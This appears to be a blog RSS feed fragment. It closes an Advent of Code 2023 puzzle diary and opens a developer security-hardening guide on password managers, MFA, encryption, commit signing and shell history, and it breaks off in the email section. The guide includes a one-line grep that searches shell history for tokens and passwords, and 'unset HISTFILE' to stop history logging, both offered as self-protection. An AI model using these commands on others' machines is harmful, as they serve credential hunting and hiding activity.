&lt;section id="day-14"&gt;
&lt;h3&gt;Day 14&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/14"&gt;https://adventofcode.com/2023/day/14&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/14.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/14-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first part was easy, moving all rocks till we reach a &lt;em&gt;blocker&lt;/em&gt; (another rock or the end of the grid).&lt;/p&gt;
&lt;p&gt;For the second part, I &lt;em&gt;cheated&lt;/em&gt; a little by using the rules to my advantage,
this is, solving the problem for the given input only.
Analyzing the first 200 iterations, I found that after some iterations a pattern repeats,
so I manually searched for the start of the pattern, and the number of iterations it takes to repeat.
Then, I did some math to get the minimum number of iterations to reach the final answer.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-15"&gt;
&lt;h3&gt;Day 15&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/15"&gt;https://adventofcode.com/2023/day/15&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/15.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/15-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This day was easy for both parts, a nice rest for a Friday.&lt;/p&gt;
&lt;p&gt;The first part you just needed some basic math operations, sum and modulo.&lt;/p&gt;
&lt;p&gt;For the second part, you needed some linked list operations,
but instead of using a linked list, I used a dictionary for quick access to the elements,
this is since Python 3.7+ preserves the insertion order of the elements in a dictionary.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-16"&gt;
&lt;h3&gt;Day 16&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/16"&gt;https://adventofcode.com/2023/day/16&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/16.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/16-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this problem, I traversed the matrix following the directions from the mirrors, while keeping track of the points and their direction that were visited.
The result is the number of unique points visited without taking into consideration the direction.&lt;/p&gt;
&lt;p&gt;For the second part, I was thinking of using dynamic programming to solve it efficiently,
but wasn't sure how to do it while keeping track of previous visited points.
So, I just iterated over all start positions and directions and kept track of the maximum number of points visited on each iteration,
it completed under two seconds, so I didn't bother optimizing it further.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-17"&gt;
&lt;h3&gt;Day 17&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/17"&gt;https://adventofcode.com/2023/day/17&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution:&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This one was another hard one for me. I wasn't able to solve it.&lt;/p&gt;
&lt;p&gt;After failing to solve it using recursion,
I realized that this was a path finding problem,
probably a variation of Dijkstra's algorithm.
My knowledge about graph theory and friends is a little rusty,
so I started reading and understanding Dijkstra's algorithm,
but I wasn't able to adapt it to this problem.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-18"&gt;
&lt;h3&gt;Day 18&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/18"&gt;https://adventofcode.com/2023/day/18&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/18.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/18-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An easy day, great start for a Monday, a relief after day 17.
Well, it's easy if you already solved Day 10, since it's the same principle.&lt;/p&gt;
&lt;p&gt;On day 10 I learned about &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Pick's_theorem"&gt;Pick's theorem&lt;/a&gt; to get the number of points inside a polygon,
and I also about the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Shoelace_formula"&gt;shoelace formula&lt;/a&gt; to get the area of a polygon.
Using both formulas, I was able to solve the problem in linear time.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-19"&gt;
&lt;h3&gt;Day 19&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/19"&gt;https://adventofcode.com/2023/day/19&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/19.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/19-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This problem was similar to Day 05.
For the first part, I built a map with the workflows,
and followed them until reaching the workflow &lt;code class="docutils literal"&gt;A&lt;/code&gt; or &lt;code class="docutils literal"&gt;R&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For the second part, we had to find a range of values that would satisfy the given conditions,
but here the ranges had branches, so I recursively collected all the possible ranges that reached to the &lt;code class="docutils literal"&gt;A&lt;/code&gt; workflow,
the final solution was a matter of multiplying those ranges.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-20"&gt;
&lt;h3&gt;Day 20&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/20"&gt;https://adventofcode.com/2023/day/20&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/20.py"&gt;Part 1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Part one was kind of easy,
the hardest part was understanding the operations for each type of module,
after that I looped over the operations till we didn't have any more operations to process.&lt;/p&gt;
&lt;p&gt;I wasn't able to solve part two,
I tried for like two hours, and then gave up.
Didn't even bother on trying to solve it later.&lt;/p&gt;
&lt;p&gt;Probably was on this day when I decided to dedicate less time to solve the problems, and enjoy more the holidays.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-21"&gt;
&lt;h3&gt;Day 21&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/21"&gt;https://adventofcode.com/2023/day/21&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/21.py"&gt;Part 1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For part one I recursively traversed the matrix,
and realized that if the remaining steps were even,
returning to the previous position was guaranteed,
avoiding having to check what would happen if we went back.
That with a simple cache was fast enough to solve the first part.&lt;/p&gt;
&lt;p&gt;The second part was more difficult, and wasn't able to solve it,
I tried for like one hour, and then gave up.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-22"&gt;
&lt;h3&gt;Day 22&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/22"&gt;https://adventofcode.com/2023/day/22&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/22.py"&gt;Part 1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I solved this one on the next day, I was busy with the holidays and social life.&lt;/p&gt;
&lt;p&gt;I haven't played with 3D matrices in a while,
so it took me a while to think of a solution that was easy to code.&lt;/p&gt;
&lt;p&gt;Drawing inspiration from Dijkstra's algorithm,
I sorted all bricks by their z coordinate,
and for each brick I checked all bricks below it, searching for one that would &lt;em&gt;stop&lt;/em&gt; it by checking if their x and y coordinates intersected.
After that, I built a map with all the bricks and the bricks above it that intersected with it.
To get the final answer, I used a set difference, if the set was empty, the brick could be safely removed.
It was a long solution, but it was still fast.&lt;/p&gt;
&lt;p&gt;For the second part, I used the same logic from the first part,
but instead of using sets, I built a graph with the bricks and their intersections,
and recursively exploring the bricks that will fall,
it worked for the example, and it made sense on paper,
but the solution was wrong for the given input,
so I gave up after that.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-23-25"&gt;
&lt;h3&gt;Day 23-25&lt;/h3&gt;
&lt;p&gt;As previously mentioned, I didn't even read the problems for these days.
I went to enjoy the holidays, and do other things away from the computer.
I may go back and try to solve these problems some day.&lt;/p&gt;
&lt;p&gt;Hope you enjoyed reading about my experience and solutions!
See you next year!&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>experience</category><category>problem solving</category><guid>https://stsewd.dev/posts/advent-of-code-2023/</guid><pubDate>Wed, 27 Dec 2023 05:00:00 GMT</pubDate></item><item><title>Securing your development environment</title><link>https://stsewd.dev/posts/securing-your-dev-environment/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;If you are a developer, chances are that you handle private code or production secrets.
If someone has access to those, you may be in serious problems with your bosses and clients.
I'll share with you some tips on how to secure your development environment &lt;strong&gt;from your computer to your terminal&lt;/strong&gt;.&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;In this post I'd recommend some tools,
for their usage please check their respective documentation,
or search for alternatives for your Operating System.
For some tools I have my configuration available at &lt;a class="reference external" href="https://github.com/stsewd/dotfiles"&gt;https://github.com/stsewd/dotfiles&lt;/a&gt;.&lt;/p&gt;
&lt;/aside&gt;
&lt;nav class="contents local" id="contents" role="doc-toc"&gt;
&lt;p class="topic-title"&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#top"&gt;Contents&lt;/a&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#passwords" id="toc-entry-1"&gt;Passwords&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#multi-factor-authentication" id="toc-entry-2"&gt;Multi factor authentication&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#full-disk-encryption" id="toc-entry-3"&gt;Full disk encryption&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#securing-your-code" id="toc-entry-4"&gt;Securing your code&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#signing-your-commits" id="toc-entry-5"&gt;Signing your commits&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#securing-your-terminal" id="toc-entry-6"&gt;Securing your terminal&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#securing-your-files-and-environment-variables" id="toc-entry-7"&gt;Securing your files and environment variables&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#securing-your-browser" id="toc-entry-8"&gt;Securing your browser&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#email" id="toc-entry-9"&gt;Email&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#use-a-secure-channel-for-communication" id="toc-entry-10"&gt;Use a secure channel for communication&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#extra-paranoia" id="toc-entry-11"&gt;Extra paranoia&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/securing-your-dev-environment/#conclusions" id="toc-entry-12"&gt;Conclusions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;section id="passwords"&gt;
&lt;h2&gt;Passwords&lt;/h2&gt;
&lt;p&gt;Using an strong password is good, but using the same password for each login isn't good,
if one system is compromised, &lt;strong&gt;all your&lt;/strong&gt; accounts could be compromised.
The best password is the one that not even you know,
a password manager can help you to generate strong and unique passwords for each login.&lt;/p&gt;
&lt;p&gt;Using a password manager requires you to have one master password,
this one you do need to remember,
so make sure to choose a strong one, and rotate that password every year or so.&lt;/p&gt;
&lt;figure class="align-center"&gt;
&lt;a class="reference external image-reference" href="https://xkcd.com/936/"&gt;
&lt;img alt="/images/securing-your-dev-environment/password_strength.png" src="https://stsewd.dev/images/securing-your-dev-environment/password_strength.png"&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;I recommend &lt;a class="reference external" href="https://bitwarden.com/"&gt;Bitwarden&lt;/a&gt; as password manager, it's Open Source.
The free version gives you a lot of features that usually require
a premium account in other services, and even the premium version is cheap.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="multi-factor-authentication"&gt;
&lt;h2&gt;Multi factor authentication&lt;/h2&gt;
&lt;p&gt;But even using a password manager isn't enough to protect your accounts,
the generated password could be exposed without you knowing it,
or your master password could be compromised.
Multi factor authentication (MFA) to the rescue!&lt;/p&gt;
&lt;p&gt;MFA is about using two or more pieces of evidence (factors) on authentication to be able to access a website or application &lt;a class="brackets" href="https://stsewd.dev/posts/securing-your-dev-environment/#mfa" id="footnote-reference-1" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;1&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt;.
Factors are: something you know (like a password), something you have (like a phone), and something you are (like your fingerprints).
A common way of MFA is combining a password (something you know) with something you have, like:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;SMS&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is using your phone number to receive a code via SMS to be able to authenticate.
&lt;strong&gt;Please don't use this method&lt;/strong&gt;, it's easy for an attacker to hijack your phone number &lt;a class="brackets" href="https://stsewd.dev/posts/securing-your-dev-environment/#sim-hijack" id="footnote-reference-2" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;2&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt;,
and if you are traveling, you won't be able to receive the codes.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;App&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is using an application in your phone that generates an OTP &lt;a class="brackets" href="https://stsewd.dev/posts/securing-your-dev-environment/#otp" id="footnote-reference-3" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;3&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt;
valid for 30 seconds for each login.
Using an app is an excellent way of MFA,
and you don't need Internet connection on your phone to be able to access the tokens.&lt;/p&gt;
&lt;p&gt;An app that I recommend is &lt;a class="reference external" href="https://github.com/andOTP/andOTP"&gt;andOTP&lt;/a&gt;,
it's Open Source, and has several features like using a PIN to unlock the codes,
and making encrypted offline backups.&lt;/p&gt;
&lt;p&gt;When choosing an app, &lt;strong&gt;don't use those that sync your codes to the cloud&lt;/strong&gt;,
that kind of breaks the rule about something you (and only you) have.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Hardware keys&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;They are similar to an app, they can provide an OTP,
but the good thing is that they aren't attached to your phone.
Popular hardware keys are &lt;a class="reference external" href="https://www.yubico.com/"&gt;YubiKeys&lt;/a&gt;.
&lt;strong&gt;If you decide to get one, buy two!&lt;/strong&gt;,
the second key will act as your backup in case you lose or damage the other one.&lt;/p&gt;
&lt;figure class="align-center"&gt;
&lt;a class="reference external image-reference" href="https://commons.wikimedia.org/wiki/File:YubiKey-4-keychain-and-YubiKey-4-Nano.png"&gt;
&lt;img alt="/images/securing-your-dev-environment/yubikey.png" src="https://stsewd.dev/images/securing-your-dev-environment/yubikey.png" style="width: 50%;"&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Not all services support MFA, but make sure to take some minutes to set it for those that do.
Most services will give you recovery codes in case you lose access to your MFA device,
&lt;strong&gt;save them offline and in a secure location&lt;/strong&gt;!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="full-disk-encryption"&gt;
&lt;h2&gt;Full disk encryption&lt;/h2&gt;
&lt;p&gt;If someone steals your computer,
they can access all your files without having to know your user's password.
To prevent this, make use of full disk encryption on your computer.&lt;/p&gt;
&lt;p&gt;On Linux systems, this is usually an option on installation
You could even make use of your YubiKey to protect your disk
(your password + an static password from your YubiKey).&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;Is also a good idea to automatically lock your computer on inactivity.&lt;/p&gt;
&lt;/aside&gt;
&lt;/section&gt;
&lt;section id="securing-your-code"&gt;
&lt;h2&gt;Securing your code&lt;/h2&gt;
&lt;p&gt;Even if you use full disk encryption,
if someone steals your computer while you are logged in,
they will have access to all your files and active sessions.
Sure, you can revoke your active sessions,
but doing so could take some time, and isn't possible to revoke access to your files.&lt;/p&gt;
&lt;p&gt;In addition to full disk encryption you can encrypt individual directories, and set a lifetime.
This way your files will be secure even if someone has access to your un-locked computer.
A simple tool to archive this is &lt;a class="reference external" href="https://github.com/vgough/encfs"&gt;encFS&lt;/a&gt; (check for the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;-i&lt;/span&gt;&lt;/code&gt; option).&lt;/p&gt;
&lt;p&gt;Is common to use SSH authentication with your version control system (VCS) provider
to avoid entering your password every time,
but this leaves the door open for anyone with access to your computer.
&lt;strong&gt;Protect your private key with a passphrase,
and set a lifetime to your SSH agent&lt;/strong&gt; (&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;-t&lt;/span&gt;&lt;/code&gt; option, see &lt;code class="docutils literal"&gt;man &lt;span class="pre"&gt;ssh-agent&lt;/span&gt;&lt;/code&gt;),
this way you'll need to re-enter your passphrase every &lt;code class="docutils literal"&gt;t&lt;/code&gt; minutes/hours.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="signing-your-commits"&gt;
&lt;h2&gt;Signing your commits&lt;/h2&gt;
&lt;p&gt;Using a VCS like Git for your code is great
(you do have your code under a VCS, right?),
it allows you to keep track of your changes, revert changes, and more!
It is also useful to know who changed a particular piece of code and when,
which is great when doing audits over your code base.&lt;/p&gt;
&lt;p&gt;But in fact, anyone can say to be you when committing changes,
Git for example makes use of a configuration file to set your name and email,
you don't need to provide anything else to say that you are that person!&lt;/p&gt;
&lt;p&gt;This means that any of your coworkers could impersonate you,
or an attacker with access to your VCS provider could do so as well.
You don't want to be responsible for changes that you didn't make!&lt;/p&gt;
&lt;p&gt;Luckily, Git allows you to sign your commits with a GPG key.
Someone could still use your email for their commits,
but they won't be able to sign those commits with your private GPG key.
GitLab has a great guide on how to sign your commits with GPG
&lt;a class="reference external" href="https://docs.gitlab.com/ee/user/project/repository/gpg_signed_commits/"&gt;https://docs.gitlab.com/ee/user/project/repository/gpg_signed_commits/&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="align-center"&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/securing-your-dev-environment/signed-commit.png"&gt;
&lt;img alt="/images/securing-your-dev-environment/signed-commit.png" src="https://stsewd.dev/images/securing-your-dev-environment/signed-commit.png"&gt;
&lt;/a&gt;
&lt;figcaption&gt;
&lt;p&gt;Commit signed (verified) on GitHub&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;Same as SSH, protect your private GPG key with a passphrase,
and set a lifetime to your GPG agent (&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;default-cache-ttl&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;max-cache-ttl&lt;/span&gt;&lt;/code&gt; options, see &lt;code class="docutils literal"&gt;man &lt;span class="pre"&gt;gpg-agent&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;/aside&gt;
&lt;/section&gt;
&lt;section id="securing-your-terminal"&gt;
&lt;h2&gt;Securing your terminal&lt;/h2&gt;
&lt;p&gt;The terminal is a great friend,
and navigating the history with &lt;code class="docutils literal"&gt;↑&lt;/code&gt; &lt;code class="docutils literal"&gt;↓&lt;/code&gt; save you some typing,
but that history can also contain sensitive information.&lt;/p&gt;
&lt;p&gt;The default number of history entries is usually high,
as a quick experiment, you can check how many entries you have with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_2c7f80ef95504374b7ad6999ed05a829-1" name="rest_code_2c7f80ef95504374b7ad6999ed05a829-1" href="https://stsewd.dev/posts/securing-your-dev-environment/#rest_code_2c7f80ef95504374b7ad6999ed05a829-1"&gt;&lt;/a&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$HISTFILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And how many of those entries possibly have secrets with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_5a8c28b6a8264c559bddbc619e9b7055-1" name="rest_code_5a8c28b6a8264c559bddbc619e9b7055-1" href="https://stsewd.dev/posts/securing-your-dev-environment/#rest_code_5a8c28b6a8264c559bddbc619e9b7055-1"&gt;&lt;/a&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'(token)|(pass)|(secret)'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$HISTFILE&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Depending on the Shell you are using,
you can control the max number of entries with environment variables,
for zsh this is done with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_2daa0d7699c4423b9b74392811c13f44-1" name="rest_code_2daa0d7699c4423b9b74392811c13f44-1" href="https://stsewd.dev/posts/securing-your-dev-environment/#rest_code_2daa0d7699c4423b9b74392811c13f44-1"&gt;&lt;/a&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SAVEHIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;
&lt;a id="rest_code_2daa0d7699c4423b9b74392811c13f44-2" name="rest_code_2daa0d7699c4423b9b74392811c13f44-2" href="https://stsewd.dev/posts/securing-your-dev-environment/#rest_code_2daa0d7699c4423b9b74392811c13f44-2"&gt;&lt;/a&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;HISTSIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$SAVEHIST&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Choose the number of entries at your discretion,
not big enough that will keep things for a long period of time,
and not so small to not save you some typing.&lt;/p&gt;
&lt;p&gt;Some times you need to enter secrets in your terminal,
but you don't want to save them in your history.
You can avoid adding your commands to the history
by prefixing them with a space.&lt;/p&gt;
&lt;p&gt;Another way to enter into &lt;em&gt;incognito mode&lt;/em&gt; is by un-setting the &lt;code class="docutils literal"&gt;$HISTFILE&lt;/code&gt; environment variable
(thanks &lt;a class="reference external" href="https://github.com/WhiteHatTux"&gt;@WhiteHatTux&lt;/a&gt; for this tip!).&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_4a5d3fe0d6c74ac29021eca550887048-1" name="rest_code_4a5d3fe0d6c74ac29021eca550887048-1" href="https://stsewd.dev/posts/securing-your-dev-environment/#rest_code_4a5d3fe0d6c74ac29021eca550887048-1"&gt;&lt;/a&gt;&lt;span class="nb"&gt;unset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;HISTFILE
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="securing-your-files-and-environment-variables"&gt;
&lt;h2&gt;Securing your files and environment variables&lt;/h2&gt;
&lt;p&gt;If you have files with sensitive information
that you can't encrypt because it needs to be readable (like configuration files),
at least give access only the appropriate users/processes.&lt;/p&gt;
&lt;p&gt;To remove access from all users except yours, you can use:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_52ddf68c9e734eb58e2127896d33a5cd-1" name="rest_code_52ddf68c9e734eb58e2127896d33a5cd-1" href="https://stsewd.dev/posts/securing-your-dev-environment/#rest_code_52ddf68c9e734eb58e2127896d33a5cd-1"&gt;&lt;/a&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;og-rwx&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;file&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For extra protection, check the &lt;a class="reference external" href="https://selinuxproject.org/page/Main_Page"&gt;SELinux&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;If you need to expose some environment variables with secrets to your commands.
You can use &lt;a class="reference external" href="https://direnv.net/"&gt;direnv&lt;/a&gt; with an encrypted directory.
This way the environment variables will be set only when you are on that directory.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="securing-your-browser"&gt;
&lt;h2&gt;Securing your browser&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;If you are using a network that you don't have control over,
use a VPN to connect to the Internet.
&lt;a class="reference external" href="https://protonvpn.com/"&gt;ProtonVPN&lt;/a&gt; is a good free option.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Take some time hardening your browser settings,
for Firefox for example,
I use &lt;a class="reference external" href="https://github.com/stsewd/dotfiles/blob/master/firefox-about.txt"&gt;these&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use extra extensions to secure your browser:
like disabling cookies and JS for unknown sites.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use a separate &lt;a class="reference external" href="https://support.mozilla.org/en-US/kb/profile-manager-create-remove-switch-firefox-profiles"&gt;profile&lt;/a&gt; for work.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="email"&gt;
&lt;h2&gt;Email&lt;/h2&gt;
&lt;p&gt;Don't load external content by default,
an attacker can use this for something &lt;em&gt;harmless&lt;/em&gt; like tracking you,
to something more sophisticated like exploiting a &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt; vulnerable site.
This is usually an option in your email client,
&lt;a class="reference external" href="https://protonmail.com/"&gt;Protonmail&lt;/a&gt; has this option enabled by default.&lt;/p&gt;
&lt;figure class="align-center"&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/securing-your-dev-environment/gmail-disable-display-external-images.png"&gt;
